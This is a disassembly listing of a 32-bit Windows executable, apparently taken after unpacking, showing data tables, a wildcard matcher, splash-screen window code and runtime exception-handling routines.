dword_4C9138	dd 0			; DATA XREF: sub_41D0CB+3Ar
					; sub_41D0CB+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41D360:loc_41D377o
					; _2:off_4C90BCo
		align 4
		dd 3Ah dup(0)
dword_4C9240	dd 1			; DATA XREF: sub_41D5AD+2r
					; sub_41D5AD+23w ...
dword_4C9244	dd 0			; DATA XREF: sub_41D96C+21r
dword_4C9248	dd 0			; DATA XREF: sub_4189C2:loc_4189EBw
					; sub_418A8C+154w ...
dword_4C924C	dd 1			; DATA XREF: sub_41DC83+26r
					; sub_41DC83:loc_41DCEDw
dword_4C9250	dd 0			; DATA XREF: sub_418A8C+7r
		align 8
word_4C9258	dw 0			; DATA XREF: sub_41E86B+1Ao
					; sub_41E86B+46r
byte_4C925A	db 0			; DATA XREF: sub_41E86B+39r
		align 4
dword_4C925C	dd 7 dup(0)		; DATA XREF: sub_41E86B+52o
dword_4C9278	dd 0			; DATA XREF: sub_41E86B+40w
					; sub_41E86B+5Co
dword_4C927C	dd 0			; DATA XREF: sub_41E86B+4Dw
dword_4C9280	dd 0			; DATA XREF: sub_41E86B+31w
dword_4C9284	dd 0			; DATA XREF: sub_41E86B+52w
dword_4C9288	dd 77C26E79h		; DATA XREF: sub_41E98E:loc_41E9B1r
					; sub_41E98E+38r ...
		align 10h
dword_4C9290	dd 0			; DATA XREF: sub_41EBF2+11w
					; sub_41EBF2+63w ...
		align 8
dword_4C9298	dd 0			; DATA XREF: sub_41EBF2+33o
					; sub_41EBF2+46r
dword_4C929C	dd 10h dup(0)		; DATA XREF: sub_41EBF2+C1o
word_4C92DC	dw 0			; DATA XREF: sub_41EE50+A8r
word_4C92DE	dw 0			; DATA XREF: sub_41EBF2+54r
					; sub_41EE50+DBr ...
word_4C92E0	dw 0			; DATA XREF: sub_41EE50+CAr
word_4C92E2	dw 0			; DATA XREF: sub_41EE50+D3r
					; sub_41EE50:loc_41EF42r
word_4C92E4	dw 0			; DATA XREF: sub_41EE50+C0r
word_4C92E6	dw 0			; DATA XREF: sub_41EE50+B8r
word_4C92E8	dw 0			; DATA XREF: sub_41EE50+B0r
word_4C92EA	dw 0			; DATA XREF: sub_41EE50+9Er
dword_4C92EC	dd 0			; DATA XREF: sub_41EBF2+4Br
dword_4C92F0	dd 10h dup(0)		; DATA XREF: sub_41EBF2+FBo
word_4C9330	dw 0			; DATA XREF: sub_41EE50+46r
word_4C9332	dw 0			; DATA XREF: sub_41EBF2:loc_41EC69r
					; sub_41EE50+78r ...
word_4C9334	dw 0			; DATA XREF: sub_41EE50+67r
word_4C9336	dw 0			; DATA XREF: sub_41EE50+70r
					; sub_41EE50:loc_41EED4r
word_4C9338	dw 0			; DATA XREF: sub_41EE50+5Dr
word_4C933A	dw 0			; DATA XREF: sub_41EE50+55r
word_4C933C	dw 0			; DATA XREF: sub_41EE50+4Dr
word_4C933E	dw 0			; DATA XREF: sub_41EE50+3Er
dword_4C9340	dd 0			; DATA XREF: sub_41EBF2+80r
dword_4C9344	dd 0			; DATA XREF: sub_41EBF2+132r
					; sub_41EBF2:loc_41ED3Er ...
dword_4C9348	dd 0			; DATA XREF: sub_41EBDDr sub_41EBDD+Ew
dword_4C934C	dd 0			; DATA XREF: sub_41F17E+3r
					; sub_41F17E+2Ew ...
dword_4C9350	dd 0			; DATA XREF: sub_41F17E+43w
					; sub_41F17E:loc_41F1CDr
dword_4C9354	dd 0			; DATA XREF: sub_41F17E+4Aw
					; sub_41F17E+60r
dword_4C9358	dd 0			; DATA XREF: sub_41DFE6+3Fr
dword_4C935C	dd 0			; DATA XREF: sub_41FD5B:loc_41FDC2r
					; sub_41FD5B+6Do
dword_4C9360	dd 0			; DATA XREF: sub_41FD5B:loc_41FD99r
					; sub_41FD5B+44o
dword_4C9364	dd 0			; DATA XREF: sub_41FD5B:loc_41FD8Cr
					; sub_41FD5B+37o
dword_4C9368	dd 0			; DATA XREF: sub_41FD5B:loc_41FDA6r
					; sub_41FD5B+51o
		align 10h
dword_4C9370	dd 0			; DATA XREF: sub_420309+28r
					; sub_420309+48w ...
dword_4C9374	dd 0			; DATA XREF: sub_420D92+28r
					; sub_420D92+4Cw ...
dword_4C9378	dd 0			; DATA XREF: sub_42101D+26r
					; sub_42101D:loc_421087w
byte_4C937C	db 1			; DATA XREF: sub_4039F9r sub_4039F9+9w
		align 10h
dword_4C9380	dd 0A71110h		; DATA XREF: sub_418955:loc_418966r
					; sub_418BFC+14r ...
		dd 7 dup(0)
dword_4C93A0	dd 400h	dup(0)		; DATA XREF: _2:off_431A78o
					; _2:00431A80o
dword_4CA3A0	dd 200h			; DATA XREF: sub_418955+9r
					; sub_418955+56r ...
		dd 7 dup(0)
dword_4CA3C0	dd 0A70650h		; DATA XREF: sub_417E43+B1r
					; sub_41C368+75r ...
dword_4CA3C4	dd 3Fh dup(0)		; DATA XREF: sub_41D6DF+92o
dword_4CA4C0	dd 20h			; DATA XREF: sub_4187D7+8r
					; sub_41C441+Cr ...
dword_4CA4C4	dd 4E4h			; DATA XREF: sub_41CA4D+14r
					; sub_41CA4D+65w ...
		align 10h
dword_4CA4D0	dd 3 dup(0)		; DATA XREF: sub_41CA4D+123o
					; sub_41CA4D+171o ...
dword_4CA4DC	dd 0			; DATA XREF: sub_41CA4D+108w
					; sub_41CA4D+15Dw ...
byte_4CA4E0	db 0			; DATA XREF: sub_41CC8C:loc_41CD98w
					; sub_41CC8C:loc_41CDB5w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4CA5E0	db 0			; DATA XREF: sub_41CA4D+5Co
					; sub_41CA4D+AFo ...
byte_4CA5E1	db 0			; DATA XREF: sub_4173D8+5Dr
					; sub_41CA4D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4CA6E4	dd 0			; DATA XREF: sub_41CA4D+6Ew
					; sub_41CA4D+12Bw ...
dword_4CA6E8	dd 0			; DATA XREF: sub_418E61+3Cw
					; sub_419506+5r ...
dword_4CA6EC	dd 0			; DATA XREF: sub_418ED4+23Ar
					; sub_418ED4+25Ar ...
dword_4CA6F0	dd 0			; DATA XREF: sub_418E61+31w
					; sub_418ED4+311w ...
dword_4CA6F4	dd 0			; DATA XREF: sub_418E61+21w
					; sub_418ED4+22Dr ...
dword_4CA6F8	dd 0			; DATA XREF: sub_418E61+28w
					; sub_418EA9r ...
dword_4CA6FC	dd 0			; DATA XREF: sub_418E61+15w
					; sub_418EA9+8r ...
dword_4CA700	dd 0			; DATA XREF: sub_415D6D+Fr
					; sub_41756F+5Cr ...
dword_4CA704	dd 0A70000h		; DATA XREF: sub_415D6D+66r
					; sub_415DE1+5Ar ...
dword_4CA708	dd 1			; DATA XREF: sub_415D6Dr sub_415DE1+Cr ...
dword_4CA70C	dd 142340h		; DATA XREF: _0:00417D7Ew
					; sub_41D24F+Fr ...
dword_4CA710	dd 1			; DATA XREF: sub_41D2A7+ADw
					; sub_41FECDr
dword_4CA714	dd 1			; DATA XREF: sub_41CE11r
					; sub_41CE11+11w ...
dword_4CA718	dd 0A7075Ch		; DATA XREF: sub_4167B3+13r
					; sub_4167B3:loc_4167F5r ...
dword_4CA71C	dd 0A70758h		; DATA XREF: sub_4167B3+1r
					; sub_4167B3+Cr ...
_2		ends

; Section 4. (virtual address 000CB000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 000CB000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_3		segment	para public 'CODE' use32
		assume cs:_3
		;org 4CB000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h
_3		ends

; Section 5. (virtual address 000CC000)
; Virtual size			: 00011ABF (  72383.)
; Section size in file		: 00011ABF (  72383.)
; Offset to raw	data for section: 000CC000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_4		segment	para public 'CODE' use32
		assume cs:_4
		;org 4CC000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC000	proc near		; CODE XREF: sub_4CF63E+84p
					; sub_4CF94C+333p ...

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE2E0
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[ebp+var_1C], esi
		lea	eax, [esi+10h]
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_4DB98E
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4CC060
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4CC000	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CC05D	proc near		; DATA XREF: _5:004DE2E8o
		mov	esi, [ebp-1Ch]
sub_4CC05D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4CC060	proc near		; CODE XREF: sub_4CC000+47p
		add	esi, 10h
		push	esi
		call	ds:dword_4DE018	; RtlLeaveCriticalSection
		retn
sub_4CC060	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC06B	proc near		; CODE XREF: sub_4CF166+9Bp
					; sub_4CF166+C4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_4]
		push	edi
		test	edx, edx
		jz	short loc_4CC07D
		mov	edi, [ebp+arg_0]
		test	edi, edi
		jnz	short loc_4CC081


loc_4CC07D:				; CODE XREF: sub_4CC06B+9j
		xor	eax, eax
		jmp	short loc_4CC0D3
; ---------------------------------------------------------------------------


loc_4CC081:				; CODE XREF: sub_4CC06B+10j
		cmp	byte ptr [edx],	0
		jnz	short loc_4CC08F
		xor	eax, eax
		cmp	[edi], al
		setz	al
		jmp	short loc_4CC0D3
; ---------------------------------------------------------------------------


loc_4CC08F:				; CODE XREF: sub_4CC06B+19j
		push	ebx
		push	esi
		mov	esi, offset dword_4E0BE4
		mov	eax, edi


loc_4CC098:				; CODE XREF: sub_4CC06B+49j
		mov	bl, [eax]
		mov	cl, bl
		cmp	bl, [esi]
		jnz	short loc_4CC0BA
		test	cl, cl
		jz	short loc_4CC0B6
		mov	bl, [eax+1]
		mov	cl, bl
		cmp	bl, [esi+1]
		jnz	short loc_4CC0BA
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_4CC098


loc_4CC0B6:				; CODE XREF: sub_4CC06B+37j
		xor	eax, eax
		jmp	short loc_4CC0BF
; ---------------------------------------------------------------------------


loc_4CC0BA:				; CODE XREF: sub_4CC06B+33j
					; sub_4CC06B+41j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4CC0BF:				; CODE XREF: sub_4CC06B+4Dj
		pop	esi
		pop	ebx
		test	eax, eax
		jnz	short loc_4CC0CA
		mov	edi, offset dword_4E0BE0


loc_4CC0CA:				; CODE XREF: sub_4CC06B+58j
		push	edx
		push	edi
		call	sub_4CC0D6
		pop	ecx
		pop	ecx


loc_4CC0D3:				; CODE XREF: sub_4CC06B+14j
					; sub_4CC06B+22j
		pop	edi
		pop	ebp
		retn
sub_4CC06B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC0D6	proc near		; CODE XREF: sub_4CC06B+61p
					; sub_4CC0D6+70p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	al, [ebx]
		push	edi
		test	al, al
		jz	short loc_4CC120


loc_4CC0E8:				; CODE XREF: sub_4CC0D6+48j
		movsx	edi, byte ptr [esi]
		movsx	eax, al
		inc	ebx
		cmp	eax, 2Ah
		jz	short loc_4CC130
		cmp	eax, 3Fh
		jz	short loc_4CC115
		push	eax
		call	sub_4CC86E
		mov	edx, eax
		push	edi
		mov	[ebp+arg_4], edx
		call	sub_4CC86E
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_4CC12C
		jmp	short loc_4CC119
; ---------------------------------------------------------------------------


loc_4CC115:				; CODE XREF: sub_4CC0D6+21j
		test	edi, edi
		jz	short loc_4CC12C


loc_4CC119:				; CODE XREF: sub_4CC0D6+3Dj
		mov	al, [ebx]
		inc	esi
		test	al, al
		jnz	short loc_4CC0E8


loc_4CC120:				; CODE XREF: sub_4CC0D6+10j
		xor	eax, eax
		cmp	[esi], al
		setz	al


loc_4CC127:				; CODE XREF: sub_4CC0D6+58j
					; sub_4CC0D6+86j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4CC12C:				; CODE XREF: sub_4CC0D6+3Bj
					; sub_4CC0D6+41j ...
		xor	eax, eax
		jmp	short loc_4CC127
; ---------------------------------------------------------------------------


loc_4CC130:				; CODE XREF: sub_4CC0D6+1Cj
		xor	edi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_4CC142


loc_4CC137:				; CODE XREF: sub_4CC0D6+66j
		inc	edi
		cmp	byte ptr [edi+esi], 0
		jnz	short loc_4CC137
		test	edi, edi
		jl	short loc_4CC12C


loc_4CC142:				; CODE XREF: sub_4CC0D6+5Fj
		add	esi, edi


loc_4CC144:				; CODE XREF: sub_4CC0D6+7Fj
		push	esi
		push	ebx
		call	sub_4CC0D6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4CC159
		dec	edi
		dec	esi
		test	edi, edi
		jge	short loc_4CC144
		jmp	short loc_4CC12C
; ---------------------------------------------------------------------------


loc_4CC159:				; CODE XREF: sub_4CC0D6+79j
		push	1
		pop	eax
		jmp	short loc_4CC127
sub_4CC0D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC15E	proc near		; DATA XREF: sub_4CC271+36o

var_60		= dword	ptr -60h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	edi
		cmp	[ebp+arg_4], 0Fh
		jnz	loc_4CC1FF
		and	[ebp+var_20], 0
		xor	eax, eax
		lea	edi, [ebp+var_1C]
		stosd
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_20]
		push	eax
		push	18h
		push	ds:dword_4E5A50
		call	ds:dword_4E17F8	; GetObjectA
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4E17F0	; BeginPaint
		push	[ebp+var_60]
		call	ds:dword_4E17E0	; CreateCompatibleDC
		mov	[ebp+var_8], eax
		push	ds:dword_4E5A50
		push	[ebp+var_8]
		call	ds:dword_4E17FC	; SelectObject
		mov	[ebp+var_4], eax
		push	0CC0020h
		push	0
		push	0
		push	[ebp+var_8]
		push	[ebp+var_18]
		push	[ebp+var_1C]
		push	0
		push	0
		push	[ebp+var_60]
		call	ds:dword_4E1804	; BitBlt
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	ds:dword_4E17FC	; SelectObject
		push	[ebp+var_8]
		call	ds:dword_4E17E8	; DeleteDC
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4E17F4	; EndPaint
		xor	eax, eax
		jmp	short loc_4CC211
; ---------------------------------------------------------------------------


loc_4CC1FF:				; CODE XREF: sub_4CC15E+Bj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4DE050	; DefWindowProcA


loc_4CC211:				; CODE XREF: sub_4CC15E+9Fj
		pop	edi
		leave
		retn	10h
sub_4CC15E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC216	proc near		; DATA XREF: sub_4CC271+152o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4E1808	; GetWindowThreadProcessId
		call	ds:dword_4E16E8	; GetCurrentProcessId
		cmp	[ebp+var_4], eax
		jnz	short loc_4CC26A
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4E5A54
		jz	short loc_4CC26A
		push	ds:dword_4E5A54
		call	ds:dword_4E182C	; DestroyWindow
		and	ds:dword_4E5A54, 0
		push	[ebp+arg_0]
		call	ds:dword_4E180C	; SetActiveWindow
		push	[ebp+arg_0]
		call	ds:dword_4E1810	; SetForegroundWindow
		xor	eax, eax
		jmp	short locret_4CC26D
; ---------------------------------------------------------------------------


loc_4CC26A:				; CODE XREF: sub_4CC216+1Ej
					; sub_4CC216+29j
		push	1
		pop	eax

locret_4CC26D:				; CODE XREF: sub_4CC216+52j
		leave
		retn	8
sub_4CC216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC271	proc near		; DATA XREF: sub_4CC3F3+3Co

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4E5A50, eax
		and	[ebp+var_38], 0
		xor	eax, eax
		lea	edi, [ebp+var_34]
		stosd
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_38]
		push	eax
		push	18h
		push	[ebp+arg_0]
		call	ds:dword_4E17F8	; GetObjectA
		mov	ds:dword_4E5A60, 30h
		mov	ds:dword_4E5A68, offset	sub_4CC15E
		mov	ds:dword_4E5A88, offset	aCc7574e45e3947	; "{CC7574E4-5E39-4700-B286-269A82DD8E95}"
		push	0
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	ds:dword_4E5A74, eax
		push	offset dword_4E5A60
		call	ds:dword_4E1814	; RegisterClassExA
		push	10h
		call	ds:dword_4E1818	; GetSystemMetrics
		mov	[ebp+var_20], eax
		push	11h
		call	ds:dword_4E1818	; GetSystemMetrics
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_20]
		sub	eax, [ebp+var_34]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		sub	eax, [ebp+var_30]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_34]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_30]
		mov	[ebp+var_8], eax
		mov	[ebp+var_58], 98800000h
		push	0
		push	0
		push	[ebp+var_58]
		lea	eax, [ebp+var_14]
		push	eax
		call	ds:dword_4DE054	; AdjustWindowRectEx
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_14]
		push	[ebp+var_58]
		push	offset dword_4E1918
		push	offset aCc7574e45e3947 ; "{CC7574E4-5E39-4700-B286-269A82DD8E95}"
		push	0
		call	ds:dword_4E181C	; CreateWindowExA
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ds:dword_4E5A54, eax


loc_4CC36B:				; CODE XREF: sub_4CC271+133j
		push	0
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_54]
		push	eax
		call	ds:dword_4E1820	; GetMessageA
		test	eax, eax
		jz	short loc_4CC3A6
		mov	eax, [ebp+var_54]
		cmp	eax, [ebp+var_4]
		jnz	short loc_4CC390
		cmp	[ebp+var_50], 0
		jnz	short loc_4CC390
		jmp	short loc_4CC3A6
; ---------------------------------------------------------------------------


loc_4CC390:				; CODE XREF: sub_4CC271+115j
					; sub_4CC271+11Bj
		lea	eax, [ebp+var_54]
		push	eax
		call	ds:dword_4E1824	; TranslateMessage
		lea	eax, [ebp+var_54]
		push	eax
		call	ds:dword_4E1828	; DispatchMessageA
		jmp	short loc_4CC36B
; ---------------------------------------------------------------------------


loc_4CC3A6:				; CODE XREF: sub_4CC271+10Dj
					; sub_4CC271+11Dj
		push	64h
		call	ds:dword_4E1794	; Sleep
		and	[ebp+var_1C], 0
		jmp	short loc_4CC3BB
; ---------------------------------------------------------------------------


loc_4CC3B4:				; CODE XREF: sub_4CC271+170j
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax


loc_4CC3BB:				; CODE XREF: sub_4CC271+141j
		cmp	[ebp+var_1C], 64h
		jge	short loc_4CC3E3
		push	0
		push	offset sub_4CC216
		call	ds:dword_4E1830	; EnumWindows
		cmp	ds:dword_4E5A54, 0
		jnz	short loc_4CC3D9
		jmp	short loc_4CC3E3
; ---------------------------------------------------------------------------


loc_4CC3D9:				; CODE XREF: sub_4CC271+164j
		push	64h
		call	ds:dword_4E1794	; Sleep
		jmp	short loc_4CC3B4
; ---------------------------------------------------------------------------


loc_4CC3E3:				; CODE XREF: sub_4CC271+14Ej
					; sub_4CC271+166j
		push	[ebp+arg_0]
		call	ds:dword_4E1800	; DeleteObject
		xor	eax, eax
		pop	edi
		leave
		retn	4
sub_4CC271	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC3F3	proc near		; CODE XREF: sub_4D4DC0+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	3
		push	80000000h
		push	offset a_splashscreen_ ; "_splashscreen.bmp"
		call	sub_4D0346
		test	eax, eax
		jz	short locret_4CC450
		push	[ebp+var_4]
		call	sub_4D5456
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4CC446
		push	offset dword_4E5A58
		push	0
		push	[ebp+var_8]
		push	offset sub_4CC271
		push	0
		push	0
		call	ds:dword_4E183C	; CreateThread
		push	64h
		call	ds:dword_4E1794	; Sleep


loc_4CC446:				; CODE XREF: sub_4CC3F3+30j
		push	0
		push	[ebp+var_4]
		call	sub_4D0741

locret_4CC450:				; CODE XREF: sub_4CC3F3+1Ej
		leave
		retn
sub_4CC3F3	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC454	proc near		; CODE XREF: sub_4CC54C+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4CC46C
		push	[ebp+arg_0]
		call	sub_4CCF68	; RtlUnwind


loc_4CC46C:				; DATA XREF: sub_4CC454+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4CC454	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CC474	proc near		; DATA XREF: sub_4CC496+Ao
					; _4:004CC507o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4CC495
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4CC495:				; CODE XREF: sub_4CC474+10j
		retn
sub_4CC474	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CC496	proc near		; CODE XREF: sub_4CC54C+67p
					; sub_4CC54C+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4CC474
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4CC4B3:				; CODE XREF: sub_4CC496:loc_4CC4EEj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4CC4F0
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_4CC4F0
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4CC4EE
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_4CC52A
		call	dword ptr [ebx+esi*4+8]


loc_4CC4EE:				; CODE XREF: sub_4CC496+44j
		jmp	short loc_4CC4B3
; ---------------------------------------------------------------------------


loc_4CC4F0:				; CODE XREF: sub_4CC496+2Aj
					; sub_4CC496+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4CC496	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4CC474
		jnz	short locret_4CC520
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_4CC520
		mov	eax, 1

locret_4CC520:				; CODE XREF: _4:004CC50Ej _4:004CC519j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_4E1434
		jmp	short loc_4CC534

; =============== S U B	R O U T	I N E =======================================



sub_4CC52A	proc near		; CODE XREF: sub_4CC496+4Fp
					; sub_4CC54C+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_4E1434
		mov	ecx, [ebp+8]


loc_4CC534:				; CODE XREF: _4:004CC528j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_4CC52A	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC54C	proc near		; DATA XREF: sub_4CC000+Ao
					; sub_4CCA80+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_4CC5EC
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4CC57F:				; CODE XREF: sub_4CC54C+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4CC5E5
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_4CC5D3
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_4CC5D3
		js	short loc_4CC5DE
		mov	edi, [ebx+8]
		push	ebx
